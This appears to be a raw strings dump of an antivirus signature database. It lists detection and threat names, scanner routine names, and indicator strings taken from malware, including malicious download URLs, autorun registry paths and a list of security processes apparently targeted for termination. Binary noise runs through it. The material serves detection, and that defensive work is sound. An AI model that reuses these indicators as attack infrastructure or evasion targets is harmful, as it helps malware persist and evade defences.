nsoftware\\classes\\clsid\\{da4e3da0-d07d-11d0-bd50-00a0c911ce86}\\instance\\{083863f1-70de-11d0-bd40-00a0c911ce86} merit tSOFTWARE\\Classes\\CLSID\\{0C7FF16C-38E3-11d0-97AB-00C04FC2AD98}\\ExtendedErrors\\{C0932C62-38E5-11d0-97AB-00C04FC2AD98} tSOFTWARE\\Classes\\clsid\\{0000051a-0000-0010-8000-00aa006d2ea4}\\extendederrors\\{00000542-0000-0010-8000-00aa006d2ea4} <CLSID\\{00000100-0000-0010-8000-00AA006D2EA4}\\InprocServer32 t%CommonProgramFiles(x86)%\\Microsoft Shared\\DAO\\dao360.dll <CLSID\\{00000105-0000-0010-8000-00AA006D2EA4}\\InprocServer32 uSYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List ]clsid\\{083863f1-70de-11d0-bd40-00a0c911ce86}\\instance\\{cd8743a1-3736-11d0-9e69-00c04fd7c15b}  Overlay Mixer cCLSID\\{2206CDB0-19C1-11D1-89E0-00C04FD7A829}\\ExtendedErrors\\{2206CDB3-19C1-11D1-89E0-00C04FD7A829} (MSDASC Error Lookup local appdataRC:\\Documents and Settings\\Alan Tracey\\Lo DisplayName<Microsoft Security Essentials PSOFTWARE\\Classes\\CLSID\\{00020810-0000-0000-C000-000000000046}\\PersistentHandler PSOFTWARE\\Classes\\CLSID\\{00020811-0000-0000-C000-000000000046}\\PersistentHandler PSOFTWARE\\Classes\\CLSID\\{00020820-0000-0000-C000-000000000046}\\PersistentHandler N{98de59a0-d175-11cd-a7bd-00006b8 !#PUA:ML:Blocked:Cloniuml< !#PUA:ML:Blocked:Conduitl< !#MIXED:REP:pdfforgegmbhl< !#doplik_messenger_cert8l< !#PUA:ML:Blocked:SaveNowl< !#ALF:Ransom:JS/CoinHivel< !#PUA:ML:Blocked:Solimbal< !#PUA:ML:Blocked:JooSoftl< !#PUA:ML:Blocked:DoyoAdsl< !#PUA:ML:Blocked:Tiwwterl< !#PUA:ML:Blocked:Savepopl< !#PUA:ML:Blocked:4Sharedl< !#PUA:ML:Blocked:ShopBoxl< !#PUA:ML:Blocked:Tuto4pcl< !#PUA:ML:Blocked:GameBoxl< T>fH- !#PUA:ML:Blocked:UtilTopl< !#PUA:ML:Blocked:Komodial< !#doplik_messenger_cert9l< !#PUA:ML:Blocked:Youfilel< !#PUA:ML:Blocked:PCMedicl< !#PUA:ML:Blocked:Visicoml< !#PUA:ML:Blocked:Cutwaill< !#PUA:ML:Blocked:GetClipl< !#PUA:ML:Blocked:Keypangl< !#PUA:ML:Blocked:PCCleanl< !#PUA:ML:Blocked:Conduitl= !#PUA:ML:Blocked:FeedArchl= !#PUA:ML:Blocked:Gamsoftsl= !#PUA:ML:Blocked:Bundlorel= !#PUA:ML:Blocked:Passwarel= !#PUA:ML:Blocked:SoftPulsl= !#PUA:ML:Blocked:Systweakl= !#PUA:ML:Blocked:Pacificsl= !#PUA:PoorCertRep:Blockedl= GX@Bb !#PUA:ML:Blocked:PcMightyl= !#PUA:ML:Blocked:Vittalial= !#ALF:Trojan:MacOS/Ymaccol= !#PUA:ML:Blocked:Framefoxl= !#App:Casino:CasinoOnlinel= \"?p$s !#PUA:ML:Blocked:RuKometal= !#PUA:ML:Blocked:Toptoolsl= !#ALFPER:ML:Staged:Mikatzl= !#PUA:ML:Blocked:ExtenBrol= !#ALFPER:ML:Staged:Bankerl= !#PUA:ML:Blocked:Bang5mail= y!]H5Q !#PUA:ML:Blocked:Montieral= !#PUA:ML:Blocked:GibMedial= !#MIXED:REP:smartprojectsl= !#PUA:ML:Blocked:Gabpathsl= !#MIXED:REP:jcglobewayincl= !#PUA:ML:Blocked:Catalinal= !#PUA:ML:Blocked:ManFlashl= !#PUA:ML:Blocked:TopMoxiel= !#PUA:ML:Blocked:Linkularl= xUr], Hr1Tr !#PUA:ML:Blocked:SoftBasel= UUDQ} !#PUA:Block:NiceHashMinerl= !#PUA:ML:Blocked:Comscorel= !#ALFPER:ML:Staged:Ursnifl= !#PUA:ML:Blocked:ThemedXPl= !#PUA:IRSH:Block:Systweakl= !#PUA:ML:Blocked:PayByAdsl= !#PUA:ML:Blocked:LTLoggerl= !#ALF:AnyDeskInside.ST001l= %VPVN). !#PUA:ML:Blocked:iTorrentl= &a,;K !#PUA:ML:Blocked:Aquariusl= !#ALFPER:ML:Staged:Bancosl= !#PUA:ML:Blocked:uTorrentl= !#PUA:ML:Blocked:HideBaidl= !#PUA:ML:Blocked:Trymedial= !#PUA:ML:Blocked:MediaGetl= !#PUA:ML:Blocked:DeskIconl= !#MIXED:REP:myheritageltdl= !#PUA:Block:DownloadGuidel= !#PUA:ML:Blocked:Haocodesl= xV\"XTP !#PUA:ML:Blocked:Findwidel= !#PUA:ML:Blocked:ShopHomel= !#PUA:ML:Blocked:383Medial= !#PUA:ML:Blocked:BeFrugall= !#PUA:ML:Blocked:BTmagnatl= !#RHASH:MSIL/Tnega.RT!MTBl= !#PUA:ML:Blocked:AdLegendl= 6)4XR !#PUA:ML:Blocked:ProxyWebl= 3Y \\mLO !#PUA:ML:Blocked:DelTriall= !#PUA:ML:Blocked:WDJiangel= !#PUA:ML:Blocked:MagicBoxl= `W,:B !#PUA:ML:Blocked:WebGuardl= !#PUA:IRSH:Block:MediaGetl= _FO 3 !#PUA:ML:Blocked:BadFlashl= >U1:] !#PUA:ML:Blocked:NewRadiol= D V(? !#PUA:ML:Blocked:FileTourl= !#ALFPER:ML:Staged:Silconl= !#PUA:ML:Blocked:WYClientl= !#PUA:ML: _Server HWND :%ld \tHWND :%ld http://www.myfiledistribution.com/mfd.php )http://www.myfiledistribution.com/mfd.php IELite ver:0.0.0 !Pushbot.M !Slenfbot.Y !Slenfbot.AB !Vundo.CK !Vundo.CL !Agent.MM !Small.gen!AO !Agent.EC !Slenfbot.PK !Slenfbot.PL !Slenfbot.PM !Slenfbot.PN !Slenfbot.PO !Slenfbot.PP !Vundo.GA fT^PhX !Vundo.GB [PWSR[ $ [PWSR[ !Agent.FM !Small.AAAV Killav.U echowscript.sleep rechowscript.sleep set/ai= :timeou tif%i%==0gotonextsetlocalset/ai=%i%-1cscript//nologo 0gototimeout !Cinmus.E DoSSSetup.DLL DoSSSetup.DLLDoSSSetup FirstInstall verion dddd, MMMM dd, yyyy <program name unknown> CreateMutexA] !Cinmus.D C:\\WINDOWS\\SYSTEM32\\rxjh 0!C:\\WINDOWS\\SYSTEM32\\rxjh [C:\\WINDOWS\\SYSTEM32\\rxjh !Slenfbot.PQ !Slenfbot.PR $p+D3\" !Slenfbot.PS !Slenfbot.PT !Slenfbot.PU !Busky.D out.dll InitProc Sv6MVaV19D /download .php?affid= 0-9&subacc= !Busky.A BCuser32.dll BCkernel32.dll ComSpec GetEnvironmentVariableA !Busky.B !Busky.EC !Killav.KH !Ldpinch.ZE C:\\TEMP\\pinch !Vundo.CM !Vundo.CN !Vundo.CO !Vundo.CP !Neeris.J !Slenfbot.PV U<TNY !Slenfbot.PW !Slenfbot.PX !Slenfbot.PY !Slenfbot.PZ !Slenfbot.QA !Slenfbot.QB !Slenfbot.QC !Pushbot.CV !Neeris.gen!B !Neeris.gen!C h0uWj !Small.AAAX Sv_Sn !Vundo.CQ!dll $16B435F6-B6CE-4F24-A568-944B27ED919Cd d$16B435F6-B6CE-4F24-A568-944B27ED919Cd targettedbanner.biz &tail= &exceed= &version= &clicked= showed= IsRotatorPopup clicklimit refresh_time  glob_click_limit max_impress PopupMgr 0Internet Explorer_Server  opera] !Killav.FB!bat !Agent.ZDD $system32\\tcsvc.sys 8http://www.jajaan.com/ip.asp gg/gg.asp] !Agent.ZDE /br.youtube.com/watch?v=Tw5TejrSIEA 62FC62EF0B66878083E80F2F339CC37297311A4E8CB0 ,62FC62EF0B66878083E80F2F339CC37297311A4E8CB0 !Agent.ZDF play.dll ser.exe miniup.exe  !Agent.ZDG http://arpp0934.iespana.es\\ !Agent.ZDH LuoXue beep.sys sbl.sys !Agent.ZDI wyf[1].css !Agent.ZDJ Fhttp://www.KJDhendieldiouyu.COM/CFDATA.ima?ccode=%s&cfdatacc=%s&gmt=%d asdfjkluiop.com sweepstakess.com hotxxxtv.com freeporntoday.net freepornnow.net \tporn1.org virgins virgins] !Agent.ZDK www.c0rrupted.com B C:\\WINDOWS\\system32\\imglog.exe C:\\WINDOWS\\system32\\imglog.exex Nhttp://vidareal2010.pisem.su/imglog.exe - !Agent.ZDL Ph http://bot.cjfeeds.com http://bot.cjfeeds.com] !Agent.ZDM WARE\\Microsoft\\Windows\\CurrentVersion\\Run c:\\log.htm C:\\pstorage.exe PStorage C:\\userquota.exe UserQuota -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32 w32_sharedpt WARE\\Microsoft\\Windows\\CurrentVersion\\Runsenderc:\\log.htmC:\\pstorage.exePStorageC:\\userquota.exeUserQuota-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32w32_sharedpt Referer: http:// @upload.php !Pushbot.CW !Slenfbot.QD !Slenfbot.QE !Slenfbot.QF !Slenfbot.QG !Slenfbot.QH !Slenfbot.QI !Slenfbot.QJ !Slenfbot.QK !Slenfbot.QL !Slenfbot.QM !Slenfbot.QN !Slenfbot.QO !Slenfbot.QP !Slenfbot.QQ !Slenfbot.QR !Slenfbot.QS !Waledac.A !Lusval.A !AdultChat.B %s://%s:%s@%s:%d%s%s \\%s\\dialers\\%s\\%s.exe {B5DD9A64-5C4B-4a48-BE56-97C1A8F85708} &{B5DD9A64-5C4B-4a48-BE56-97C1A8F85708} www.kjdhendieldiouyu.com fastvideoplayerliteCtrl Class /usednsupdate  /password:  /username:%s /username:%s] !Agent.BDC MonitoringTool:Win32/SystemSurveillance 'MonitoringTool:Win32/SystemSurveillance downloads\\sspro\\internet\\ ;downloads\\sspro\\internet\\ sspro @systemsurveillancepro ssprodataviewer)][additem(%win%\\sspro.exe,ssprodataviewer,%win%\\sspro.exe pssprodataviewer)][additem(%win%\\sspro.exe,ssprodataviewer,%win%\\sspro.exe Usspro.exe/uninstall,uninstallsspro System Surveillance Pro System Surveillance Pro\tJf19132 %SYS% \t\tf160 %WIN% downloads\\sspro\\internet\\gp System Surveillance  3AddItem(%WIN%\\ssp32hp.chm,Help Manual,%WIN%\\ssp32hp  DeleteGroup(System Surveillance  &%DESKTOPDIR%\\SystemSurveillancePro.htm 4emailsnapshotinterval=%INI_SS_EMAILSNAPSHOTINTERVAL% 2clearlogsafteremail=%INI_LOGS_CLEARLOGSAFTEREMAIL% $then restart the System Surveillance $then restart the System Surveillanceg !Hamweq.CM $08B0E5C0-4FCB-11CF-AAX5-90401C608512 tassweq.com ise.exe  !Agent.ZEA trojdie.kxp,assistse.exe,rfw.exe,kavpfw.exe,kpfwsvc.exe,kavstart.exe,kwatch.exe,kavplus.exe mir.exe,mir.dat Content-Type: application/x-www-form-urlencoded  GetModuleFileNameExAtrojdie.kxp,assistse.exe,rfw.exe,kavpfw.exe,kpfwsvc.exe,kavstart.exe,kwatch.exe,kavplus.exemir.exe,mir.dat \"Content-Type: application/x-www-form-urlencoded  ForthgoerHTTP/1.0 200 %s=%s=%s/%s=%s=%s/%s=%s 200 %s=%s=%s/%s=%s=%s/%s=%sh wav\\Log-in-long2.wav wvwww.gamenete.com look/login.asp /look/pip.asp wvwww.gamenete.comlook/login.asp/look/pip.asp 750 online! 750 offline! 850 offline! 950 1.50 991 1 991 0 900 User:  Pass: 100300320750 online!750 offline!801802803804850850 offline!950 1.50974990991 1991 0::900 User: Pass:400 ./ SOFTWARE\\wSkysoft %SOFTWARE\\wSkysoft~xQPOSThttp://] !QQHelper.AA !Winspy.Y  \\C:\\ZKing8\\WinZ\\WSP\\RenoNevada\\FTPREM\\MyFTP.vbp ,SOFTWARE\\AutoNewUpdate &SOFTWARE\\ccAppRemXP /Win-Spy.com/www/1 SOFTWARE\\RASOA OutlookSMTP.exe outlookrem.exe msimnSMTP.exe] !Slenfbot.QT !Slenfbot.QU !Slenfbot.QV VnaG68x !Slenfbot.QW !Slenfbot.QX !Slenfbot.QY !Slenfbot.QZ !Slenfbot.RA !Bagle.RW !Bagle.RX !Vundo.R !Slenfbot.RB !Slenfbot.RC !Slenfbot.RD !Slenfbot.RE !Small.JF %s\\updatax.exe HDDGuard.dll KvTrust.dll UrlGuard.dll antispy.dll safemon.dll  ieprot.dll !Renos.EU !Slenfbot.RF !Slenfbot.RG !Slenfbot.RH !Slenfbot.RI !Slenfbot.RJ !Bagle.RY -6=RX7 !Bagle.RZ -6=Rs[ !Slenfbot.RK !Slenfbot.RL !Slenfbot.RM !Slenfbot.RN !Agent.BP GetOpenFileNameA http://kokovs.cc/porno/stat.php ?nick= &info=iBank2 Software\\JavaSoft\\Prefs logo.png logo.png] !Vundo.CR !Bagle.SA !Agent.BQ !Slenfbot.RO !Slenfbot.RP !Slenfbot.RQ !Slenfbot.RR !Slenfbot.RS !Slenfbot.RT !Slenfbot.RU !Slenfbot.RV !Slenfbot.RW !Slenfbot.RX !Pushbot.CX !Pushbot.CY !Pushbot.CZ !Harnig.gen!M http://toolbar http://traff /progs_traff/ !Small.BPO !Agent.AIE !Agent.AIF !Agent.AIG !Agent.AIJ !Agent.AIK !Agent.AIM !Agent.AIN !Agent.AIO !Agent.AIP Uqb = <t\"?\" ? irh# jj}D= ? z}k #=2>\" %#=2>\" )? :G S\t?&;?\"u 4 \t?$ <4 \t?$ +? BCF >&ST F ]{> ^_ jl?S? n~/\t? l?S?\" 5l?S?\" 56?&RV > !-3e Xu,>  Xu,> $+ >\t8Ik#e? M? ;A RbW$? >\tcd[ ->#jk >O3x> =!7:J .`1>% B.`1>%CY / GW;*M? >%iu* G|9=  wG|9= x >  534  ?%<?C ?\tIVk#e? BO3x> =!/58 p9?#LR CX?!_ B>\tosQ BN+?!  l?S? ? #7xc ~?$%4 l?&CS= +?%Ui .`1>  .`1> j 3^\t?% 3^\t?%q{\\_ ? -[} 4=<,?? JO!T9?  ?\"PQ< =%de$NV= }>&n{ to8&? scan_polip Win32/Polip.A scan_polipWin32/Polip.A4 scan_polip_catchall scan_polip_catchallWin32/Polip.A2 scan_polip_helper scan_polip_helperWin32/Polip.A scan_opclog scan_opclog2 scan_puce Worm:Win32/Puce.gen!A scan_puceWorm:Win32/Puce.gen!A5 scan_qqhelp Program:Win32/QQHelper scan_qqhelpProgram:Win32/QQHelper1 scan_QQpass Win32/QQpass.gen!D scan_QQpassWin32/QQpass.gen!D3 scan_quickbatch scan_quickbatchQuickBatch_Write: scan_ramnit Virus:Win32/Ramnit!remnants scan_ramnitVirus:Win32/Ramnit!remnants= Scan_ramnit_obfuscator_a Scan_ramnit_obfuscator_aRPF:Ramnitobfus.A@ scan_regcureversiontest Program:Win32/RegCure scan_regcureversiontestProgram:Win32/RegCure6 scan_renos Joke:Win32/Renos.gen!dll scan_renosJoke:Win32/Renos.gen!dllI scan_renos_dropper TrojanDownloader:Win32/Renos.gen!dr scan_renos_dropperTrojanDownloader:Win32/Renos.gen!drJ scan_renos_dropper2 scan_renos_dropper2TrojanDownloader:Win32/Renos.gen!drH scan_renos_gen_as TrojanDownloader:Win32/Renos.gen!AS scan_renos_gen_asTrojanDownloader:Win32/Renos.gen!ASH scan_renos_gen_at TrojanDownloader:Win32/Renos.gen!AT scan_renos_gen_atTrojanDownloader:Win32/Renos.gen!ATH scan_renos_gen_au TrojanDownloader:Win32/Renos.gen!AU scan_renos_gen_auTrojanDownloader:Win32/Renos.gen!AUH scan_renos_gen_av TrojanDownloader:Win32/Renos.gen!AV scan_renos_gen_avTrojanDownloader:Win32/Renos.gen!AVH scan_renos_gen_aw TrojanDownloader:Win32/Renos.gen!AW scan_renos_gen_awTrojanDownloader:Win32/Renos.gen!AWH scan_renos_gen_ax TrojanDownloader:Win32/Renos.gen!AX scan_renos_gen_axTrojanDownloader:Win32/Renos.gen!AX@ scan_renos_as TrojanDownloader:Win32/Renos.AS scan_renos_asTrojanDownloader:Win32/Renos.ASA scan_renos_as2 scan_renos_as2TrojanDownloader:Win32/Renos.AS5 scan_rescan rescan_from_attributes scan_rescanrescan_from_attributes7 scan_prescan prescan_from_attributes scan_prescanprescan_from_attributes9 scan_rescan64 rescan_from_attributes64 scan_rescan64rescan_from_attributes64; scan_rescanARM rescan_from_attributesARM scan_rescanARMrescan_from_attributesARM7 scan_rlsloup_a Virus:Win32/Rlsloup.A scan_rlsloup_aVirus:Win32/Rlsloup.A= scan_rogue Program:Win32/InternetAntivirus scan_rogueProgram:Win32/InternetAntivirusA scan_rootkitdrv VirTool:WinNT/Rootkitdrv.gen!A scan_rootkitdrvVirTool:WinNT/Rootkitdrv.gen!A4 Scan_RovnixDropper Scan_RovnixDropperRovnix_Dropper rsfx6 scan_rukap Backdoor:Win32/Rukap.gen scan_rukapBackdoor:Win32/Rukap.gen1 scan_rustock Win32/Rustock.gen scan_rustockWin32/Rustock.gen5 scan_rustock_e Win32/Rustock.E!gen scan_rustock_eWin32/Rustock.E!genC scan_rustock_exhaustive Win32/Rustock.exhaustive scan_rustock_exhaustiveWin32/Rustock.exhaustive5 scan_rustock_f WinNT/Rustock.F!gen scan_rustock_fWinNT/Rustock.F!gen< scan_rustock_an Backdoor:WinNT/Rustock.AN scan_rustock_anBackdoor:WinNT/Rustock.AN9 sality_am_helper Virus:Win32/Sality.AM sality_am_helperVirus:Win32/Sality.AM2 sality_am sality_amVirus:Win32/Sality.AM6 sality_h sality_hVirus:Win32/Sality.gen!enc2 sality_an Virus:Win32/Sality.AN sality_anVirus:Win32/Sality.AN8 attrmatch_sality_au attrmatch_sality_auPEBMPAT:Sality_AU8 dll_dropper_scan_Scano Win32/Scano.dr dll_dropper_scan_ScanoWin32/Scano.dr0 scan_Scano Win32/Scano.gen@mm scan_ScanoWin32/Scano.gen@mm2 scan_Scano_dumb Win32/Scano.dam scan_Scano_dumbWin32/Scano.dam< scan_sdbot_based Backdoor:Win32/Sdbot.gen scan_sdbot_basedBackdoor:Win32/Sdbot.gen; scan_themidabot scan_themidabotBackdoor:Win32/Sdbot.gen4 scan_sefnit Trojan:Win32/Sefnit.C scan_sefnitTrojan:Win32/Sefnit.CA scan_sefnit_exhaustive Win32/Sefnit.exhaustive scan_sefnit_exhaustiveWin32/Sefnit.exhaustive, clean_Selges !PefileClean clean_Selges!PefileClean> Scan_sfxcabinet sfxcabinet_script_extractor Scan_sfxcabinetsfxcabinet_script_extractorA scan_shopathomeabdiff Spyware:Win32/ShopAtHome scan_shopathomeabdiffSpyware:Win32/ShopAtHome+ scan_silcer Win32/Silcer scan_silcerWin32/Silcer+ scan_simile Win32/Simile scan_simileWin32/Simile2 scan_simile_object scan_simile_objectWin32/Simile0 scan_simile_post scan_simile_postWin32/Simile7 scan_sinowal PWS:Win32/Sinowal.gen!D scan_sinowalPWS:Win32/Sinowal.gen!D@ scan_sinowal_exhaustive PWS:Win32/Sinowal.gen scan_sinowal_exhaustivePWS:Win32/Sinowal.gen= scan_sinowal_gen_y PWS:Win32/Sinowal.gen!Y scan_sinowal_gen_yPWS:Win32/Sinowal.gen!Y+ scan_sintun Win32/Sintun scan_sintunWin32/SintunC scan_sirefef_exhaustive Win32/Sirefef.exhaustive scan_sirefef_exhaustiveWin32/Sirefef.exhaustive$ scan_sk !SkHelper scan_sk!SkHelper4 scan_slagent Adware:Win32/Slagent scan_slagentAdware:Win32/Slagent3 Scan_Slugin Virus:Win32/Slugin.A Scan_SluginVirus:Win32/Slugin.A4 scan_downloader Win32/Downloaders scan_downloaderWin32/Downloaders9 scan_batdetour_a Virus:Win32/Batdetour scan_batdetour_aVirus:Win32/Batdetour6 scan_mariofev scan_mariofevVirus:Win32/Batdetour4 scan_custom_kcrc Win32/CustomKCRC scan_custom_kcrcWin32/CustomKCRC1 SmartAssemblyResourceUnpacker SmartAssemblyResourceUnpacker> scan_spamthru Trojan:Win32/SpamThru.gen!dll scan_spamthruTrojan:Win32/SpamThru.gen!dll+ scan_spyaxe Win32/Spyaxe scan_spyaxeWin32/Spyaxe@ srizbi_detect_driver Spammer:WinNT/Srizbi.gen srizbi_detect_driverSpammer:WinNT/Srizbi.genD srizbi_dropper_d TrojanDropper:Win32/Srizbi.gen!D srizbi_dropper_dTrojanDropper:Win32/Srizbi.gen!D6 scan_stration Win32/Stration.gen!dr scan_strationWin32/Stration.gen!dr7 scan_stration2 scan_stration2Win32/Stration.gen!drB scan_stration_dropper_b Win32/Stration.gen!dr.B scan_stration_dropper_bWin32/Stration.gen!dr.BA scan_stration_downloader Win32/Stration.gen!dl scan_stration_downloaderWin32/Stration.gen!dlE scan_stration_downloader_b Win32/Stration.gen!dl.B scan_stration_downloader_bWin32/Stration.gen!dl.BE scan_stration_downloader_c Win32/Stration.gen!dl.C scan_stration_downloader_cWin32/Stration.gen!dl.CE scan_stration_downloader_d Win32/Stration.gen!dl.D scan_stration_downloader_dWin32/Stration.gen!dl.DE scan_stration_downloader_e Win32/Stration.gen!dl.E scan_stration_downloader_eWin32/Stration.gen!dl.EE scan_stration_downloader_f Win32/Stration.gen!dl.F scan_stration_downloader_fWin32/Stration.gen!dl.FE scan_stration_downloader_g Win32/Stration.gen!dl.G scan_stration_downloader_gWin32/Stration.gen!dl.G? scan_stration_dll_a Win32/Stration.gen!dll.A scan_stration_dll_aWin32/Stration.gen!dll.A? scan_stration_dll_b Win32/Stration.gen!dll.B scan_stration_dll_bWin32/Stration.gen!dll.B? scan_stration_dll_c Win32/Stration.gen!dll.C scan_stration_dll_cWin32/Stration.gen!dll.C? scan_stration_dll_d Win32/Stration.gen!dll.D scan_stration_dll_dWin32/Stration.gen!dll.D? scan_stration_dll_e Win32/Stration.gen!dll.E scan_stration_dll_eWin32/Stration.gen!dll.E? scan_stration_dll_f Win32/Stration.gen!dll.F scan_stration_dll_fWin32/Stration.gen!dll.FB scan_stration_dropper_c Win32/Stration.gen!dr.C scan_stration_dropper_cWin32/Stration.gen!dr.CB scan_stration_dropper_d Win32/Stration.gen!dr.D scan_stration_dropper_dWin32/Stration.gen!dr.DE scan_stration_downloader_h Win32/Stration.gen!dl.H scan_stration_downloader_hWin32/Stration.gen!dl.HE scan_stration_downloader_i Win32/Stration.gen!dl.I scan_stration_downloader_iWin32/Stration.gen!dl.I: scan_stration_k Trojan:Win32/Stration.K scan_stration_kTrojan:Win32/Stration.KE scan_stration_downloader_j Win32/Stration.gen!dl.J scan_stration_downloader_jWin32/Stration.gen!dl.JB scan_stration_dropper_e Win32/Stration.gen!dr.E scan_stration_dropper_eWin32/Stration.gen!dr.EB scan_stration_dropper_f Win32/Stration.gen!dr.F scan_stration_dropper_fWin32/Stration.gen!dr.F- scan_stresid Win32/Stresid scan_stresidWin32/Stresid5 scan_stutter Virus:Win32/Stutter.A scan_stutterVirus:Win32/Stutter.A2 scan_taggant scan_taggantRPF:FileHasTaggantC scan_tesch_obfuscator PEBMPAT:Tesch_Obfuscator.A scan_tesch_obfuscatorPEBMPAT:Tesch_Obfuscator.A8 scan_virus_theals Win32/Theals.gen@mm scan_virus_thealsWin32/Theals.gen@mm- scan_themida Themida_Entry scan_themidaThemida_Entry, scan_thinstall Thinstall_ scan_thinstallThinstall_' scan_tibs Win32/Tibs scan_tibsWin32/Tibs( scan_tibs2 scan_tibs2Win32/Tibs( scan_tibs3 scan_tibs3Win32/Tibs( scan_tibs4 scan_tibs4Win32/Tibs( scan_tibs5 scan_tibs5Win32/Tibs( scan_tibs6 scan_tibs6Win32/Tibs( scan_tibs7 scan_tibs7Win32/TibsB scan_cbeplay_f TrojanDownloader:Win32/Cbeplay.F scan_cbeplay_fTrojanDownloader:Win32/Cbeplay.FB scan_cbeplay_i TrojanDownloader:Win32/Cbeplay.I scan_cbeplay_iTrojanDownloader:Win32/Cbeplay.I; scan_festeal_d TrojanSpy:Win32/Festeal.D scan_festeal_dTrojanSpy:Win32/Festeal.DB scan_chepvil_h TrojanDownloader:Win32/Chepvil.H scan_chepvil_hTrojanDownloader:Win32/Chepvil.H9 scan_cutwail_a Spammer:Win32/Cutwail.A scan_cutwail_aSpammer:Win32/Cutwail.A; codepatch_tibs FOP:Win32/Tibs_obfuscator codepatch_tibsFOP:Win32/Tibs_obfuscatorI scan_dldr_ursnif_a TrojanDownloader:Win32/Ursnif.gen!A scan_dldr_ursnif_aTrojanDownloader:Win32/Ursnif.gen!AI scan_dldr_ursnif_b TrojanDownloader:Win32/Ursnif.gen!B scan_dldr_ursnif_bTrojanDownloader:Win32/Ursnif.gen!BB scan_rk_ursnif_a TrojanSpy:Win32/Ursnif.gen!sys scan_rk_ursnif_aTrojanSpy:Win32/Ursnif.gen!sysA scan_spy_ursnif_a TrojanSpy:Win32/Ursnif.gen!A scan_spy_ursnif_aTrojanSpy:Win32/Ursnif.gen!AA scan_spy_ursnif_b TrojanSpy:Win32/Ursnif.gen!B scan_spy_ursnif_bTrojanSpy:Win32/Ursnif.gen!BA scan_spy_ursnif_c TrojanSpy:Win32/Ursnif.gen!C scan_spy_ursnif_cTrojanSpy:Win32/Ursnif.gen!C= scan_virtool_ursnif_a Virus:Win32/Ursnif.A scan_virtool_ursnif_aVirus:Win32/Ursnif.A= scan_virtool_ursnif_b Virus:Win32/Ursnif.B scan_virtool_ursnif_bVirus:Win32/Ursnif.B1 scan_vampiro [Vampiro_EPODump] scan_vampiro[Vampiro_EPODump]/ scan_viking Win32/Viking.gen scan_vikingWin32/Viking.gen3 scan_emerleox Win32/Emerleox.gen scan_emerleoxWin32/Emerleox.gen= scan_viknok_rpcss Virus:Win32/Viknok!rpcss scan_viknok_rpcssVirus:Win32/Viknok!rpcss5 scan_viknok_a Virus:Win64/Viknok.A scan_viknok_aVirus:Win64/Viknok.AK scan_viknok64_a_preemul Virus:Win64/Viknok.A!pefile_scan scan_viknok64_a_preemulVirus:Win64/Viknok.A!pefile_scanH breakpoint_viknok64_a Virus:Win64/Viknok.A!breakpoint breakpoint_viknok64_aVirus:Win64/Viknok.A!breakpoint: Scan_VirutInOrder Virus:Win32/Virut.PRE Scan_VirutInOrderVirus:Win32/Virut.PRET scan_virut Virus:Win32/Virut.{D,L,K,AE,AG,AH,I,AM,AR,AJ,AK,AL,AN} scan_virutVirus:Win32/Virut.{D,L,K,AE,AG,AH,I,AM,AR,AJ,AK,AL,AN}= scan_virut_overlay Virus:Win32/Virut.gen!J scan_virut_overlayVirus:Win32/Virut.gen!JB scan_virutd Virus:Win32/Virut.{D,E,F,G,H,I,J,K} scan_virutdVirus:Win32/Virut.{D,E,F,G,H,I,J,K}; scan_virut_damaged Virus:Win32/Virut.dam scan_virut_damagedVirus:Win32/Virut.dam7 scan_virut_gen Virus:Win32/Virut.gen scan_virut_genVirus:Win32/Virut.gen1 attrmatch_virut_bn virut_type_ attrmatch_virut_bnvirut_type_: breakpoint_virut_bn breakpoint_virut_bnbreakpoint_virut_bn. scan_virut_bn scan_virut_bnscan_virut_bn1 scan_vmprotect_entry VMProtect scan_vmprotect_entryVMProtect+ scan_vmprotect scan_vmprotectVMProtect< scan_virtumonde Trojan:Win32/Virtumonde.F scan_virtumondeTrojan:Win32/Virtumonde.F= scan_virtumonde2 scan_virtumonde2Trojan:Win32/Virtumonde.F< scan_virtumonde3 Trojan:Win32/Vundo.gen!A scan_virtumonde3Trojan:Win32/Vundo.gen!A> scan_virtumonde_o Adware:Win32/Virtumonde.O scan_virtumonde_oAdware:Win32/Virtumonde.O@ scan_virtumonde_dr Trojan:Win32/Virtumonde.dr scan_virtumonde_drTrojan:Win32/Virtumonde.dr< scan_virtumonde4 Trojan:Win32/Vundo.gen!B scan_virtumonde4Trojan:Win32/Vundo.gen!B< scan_vundo_gen_f Trojan:Win32/Vundo.gen!F scan_vundo_gen_fTrojan:Win32/Vundo.gen!F4 scan_vundo_q Trojan:Win32/Vundo.Q scan_vundo_qTrojan:Win32/Vundo.Q6 scan_vundo_et Trojan:Win32/Vundo.ET scan_vundo_etTrojan:Win32/Vundo.ET9 scan_vundo_ih Trojan:Win32/Vundo.gen!X scan_vundo_ihTrojan:Win32/Vundo.gen!X6 scan_vundo_iu Trojan:Win32/Vundo.IU scan_vundo_iuTrojan:Win32/Vundo.IU> scan_vundo_gen_aa Trojan:Win32/Vundo.gen!AA scan_vundo_gen_aaTrojan:Win32/Vundo.gen!AA= scan_vundo_genad Trojan:Win32/Vundo.gen!AD scan_vundo_genadTrojan:Win32/Vundo.gen!AD> scan_vundo_gen_ba Trojan:Win32/Vundo.gen!BA scan_vundo_gen_baTrojan:Win32/Vundo.gen!BA= scan_vundo_genaf Trojan:Win32/Vundo.gen!AF scan_vundo_genafTrojan:Win32/Vundo.gen!AF> scan_vundo_gen_bb Trojan:Win32/Vundo.gen!AG scan_vundo_gen_bbTrojan:Win32/Vundo.gen!AG? scan_vundo_gen_expdll Trojan:Win32/Vundo.dll scan_vundo_gen_expdllTrojan:Win32/Vundo.dll) scan_vxidl Win32/Vxidl scan_vxidlWin32/Vxidl* scan_vxidl2 scan_vxidl2Win32/Vxidl? scan_webhancerabdiff Spyware:Win32/WebHancer scan_webhancerabdiffSpyware:Win32/WebHancer+ map_winfix_res !Winfixer map_winfix_res!Winfixer( scan_winfix scan_winfix!Winfixer- scan_winshow Win32/WinShow scan_winshowWin32/WinShow4 scan_wintrim Trojan:Win32/Wintrim scan_wintrimTrojan:Win32/Wintrim7 scan_wintrim2 Trojan:Win32/Wintrim.B scan_wintrim2Trojan:Win32/Wintrim.B5 scan_wintrim3 scan_wintrim3Trojan:Win32/Wintrim: scan_skintrim_b Trojan:Win32/Skintrim.B scan_skintrim_bTrojan:Win32/Skintrim.B: scan_skintrim_c Trojan:Win32/Skintrim.C 